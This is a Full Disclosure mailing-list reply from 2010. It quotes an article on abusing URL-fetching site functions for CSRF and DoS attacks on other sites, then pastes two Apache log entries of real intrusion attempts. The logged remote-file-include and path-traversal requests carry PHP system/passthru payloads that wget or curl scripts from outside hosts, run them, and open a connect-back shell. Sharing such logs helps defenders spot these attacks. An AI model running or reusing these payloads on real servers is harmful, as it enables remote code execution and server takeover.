Full Disclosure mailing list archives
Re: Using of the sites for attacks on other sites
From: mrx <mrx () propergander org uk>
Date: Wed, 30 Jun 2010 08:42:14 +0100
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 28/06/2010 21:13, MustLive wrote:
Hello participants of Full-Disclosure! For last two months I didn't post my articles to this list due to some not serious moaning in April on some of my articles (you always can find my articles at my site and in WASC Mailing List). But at the end of June I decided to remind you about my last articles. Recently I wrote new article Using of the sites for attacks on other sites (http://websecurity.com.ua/4322/). This is brief English version of it. Last year in article DoS attacks via Abuse of Functionality vulnerabilities (it was mentioned at http://jeremiahgrossman.blogspot.com/2010/01/top-ten-web-hacking-techniques-of-2009.html) I told about possibility of conducting of DoS attacks via Abuse of Functionality vulnerabilities at other sites. Particularly I showed examples of such vulnerabilities at web sites regex.info and www.slideshare.net. These attacks can be as unidirectional DoS, as bidirectional DoS, depending on capacities of both servers. And now I'll tell you about possibility of conducting of CSRF attacks on other sites via Abuse of Functionality vulnerabilities. Researching of such attacks I begun already at 2007 when found such vulnerability at regex.info. Using of Abuse of Functionality for attacks on other sites. Sites, which allow to make requests to other web sites (to arbitrary web pages), have Abuse of Functionality vulnerability and can be used for conducting of CSRF attacks on other sites. Including DoS attacks via Abuse of Functionality, as it was mentioned above. CSRF attacks can be made only to those pages, which don't require authorization. For these attacks it's possible to use as Abuse of Functionality vulnerabilities (similar to mentioned in this article), as Remote File Include vulnerabilities (like in PHP applications) - it's Abuse of Functionality via RFI. This attack method can be of use when it's needed to conduct invisible CSRF attack on other site (to not show yourself), for conducting of DoS and DDoS attacks and for conducting of other attacks, particularly for making different actions which need to be made from different IP. For example, at online voting, for turning of hits of counters and hits of advertising at the site, and also for turning of clicks (click fraud). Abuse of Functionality: Attack is going at request of one site (http://site) to another (http://another_site) at using of appropriate function of the site (http://site/script). http://site/script?url=http://another_site Advantages of this attack method. In this part of the article I wrote a list of advantages of this attack method. And I mentioned another two important paragraphs: Note, that this DoS attack is possible to use for attacks on redirectors, which I wrote about in my articles Redirector’s hell and Hellfire for redirectors. Also at conducting of DoS attacks it's possible to use several such servers at once and so to conduct DDoS attack. In such case these servers will be appearing as zombie-computers. I.e. botnet will be made from not home computers, but from web servers (which can have larger capacities and faster connections). So these vulnerabilities can lead to appearing of new class of botnets (with zombie-servers). Examples of vulnerable web sites and web services. In this part of the article I showed examples of different web sites and web services which could be used for conducting of attacks on other sites. Including regex.info, www.slideshare.net, anonymouse.org, www.google.com, translate.google.com, babelfish.altavista.com, babelfish.yahoo.com, keepvid.com, web application Firebook, W3C validators and iGoogle. Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua
I have been witnessing such attacks in the past few weeks. Most of the urls are trying to exploit components of web software that I do not have installed. Some do GET existing pages such as index.php and tag the attack on the end. Such attacks began about 2 weeks ago. These attacks have so far come from three different IP addresses. and I was getting around a dozen such accesses every other day. I think my server is pretty secure, but I am a novice so what do I really know? And as such I have blocked these IP's from accessing my server. If anyone is interested here are two such attacks. I have disabled the links: <apache2 log entry> 88.181.49.182 - - [28/Jun/2010:19:54:35 +0100] "GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig.absolute.path=hxxp://212.154.190.140/back.txt?? hxxp/1.1" 404 220 "-" "<?system('cd /var/tmp;wget hxxp://212.154.190.140/cb.txt;perl cb.txt 192.24.5.30 80;wget hxxp://212.154.190.140/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/shm;curl -O hxxp://212.154.190.140/cb.txt;perl cb.txt 192.24.5.30 80;curl -O hxxp://212.154.190.140/cback;chmod +x cback;./cback 192.24.5.30 80');?>;<?exec_shell('cd /var/tmp;wget hxxp://212.154.190.140/cb.txt;perl cb.txt 192.24.5.30 80;wget hxxp://212.154.190.140/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/shm;curl -O hxxp://212.154.190.140/cb.txt;perl cb.txt 192.24.5.30 80;curl -O hxxp://212.154.190.140/cback;chmod +x cback;./cback 192.24.5.30 80');?>;<?passthru('cd /var/tmp;wget hxxp://212.154.190.140/cb.txt;perl cb.txt 192.24.5.30 80;wget hxxp://212.154.190.140/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/shm;curl -O hxxp://212.154.190.140/cb.txt;perl cb.txt 192.24.5.30 80;curl -O hxxp://212.154.190.140/cback;chmod +x cback;./cback 192.24.5.30 80');?> ; Ustupid MF is Back ; Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" Here is another example: 94.199.181.165 - - [21/Jun/2010:05:36:27 +0100] "GET /index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../proc/self/environ hxxp/1.1" 200 3775 "-" "<?system('cd /var/tmp;wget hxxp://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;wget hxxp://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/shm;curl - -O hxxp://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;curl -O hxxp://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80');?> ;<?exec_shell('cd /var/tmp;wget hxxp://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;wget hxxp://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/shm;curl -O hxxp://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;curl -O hxxp://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80');?> ;<?passthru('cd /var/tmp;wget hxxp://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;wget hxxp://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80;cd /dev/shm;curl -O hxxp://195.239.120.69/cb.txt;perl cb.txt 192.24.5.30 80;curl -O hxxp://195.239.120.69/cback;chmod +x cback;./cback 192.24.5.30 80');?>;Ustupid MF is Back; Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" </apache2 log entries> cb.txt is a perl downloader and classed as a virus, as I discovered when I posted the full script.. ooops. If anyone would like more log entries let me know. regards Dave - -- Mankind's systems are white sticks tapping walls. Thanks Roy http://www.propergander.org.uk -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEVAwUBTCr1VrIvn8UFHWSmAQLypwgAhvXYTpnRlMp1c7y2vCz6yJyFDxU0/wgQ Unpz1he/VUsh6NaQv7001n2V25nSRRWACp1OtK2WOaRB9nms6OrRAH5t00PLo50S t+hgNTgYO3zD0Gm6xusBSBxmHGgABMpV9EBhQoNuXsL8y6sJ3QhV7WFTykDyzM4D c1cg2Cgng3PRgEkbqXuJTJPpCVvl5BMKiURPrVTVJtXkA/r7Es9Ikd8EER4ek2Ej gRCDe9moftP8Eo1f/glrC1g0M3kjWwhakA8qbbt7re5p0IAJIzvtkPJzzAsxm+LK NlSO6fGo1quKqS+mYjO9O49qrameiiC6wBSQhhrub48U7np2Je5bdw== =LDvM -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Using of the sites for attacks on other sites MustLive (Jun 28)
- Re: Using of the sites for attacks on other sites musnt live (Jun 28)
- Re: Using of the sites for attacks on other sites MustLive (Jun 30)
- Re: Using of the sites for attacks on other sites Chris Evans (Jun 29)
- Re: Using of the sites for attacks on other sites Sébastien Duquette (Jun 29)
- Re: Using of the sites for attacks on other sites mrx (Jun 30)
- Re: Using of the sites for attacks on other sites mrx (Jun 30)
- Re: Using of the sites for attacks on other sites musnt live (Jun 28)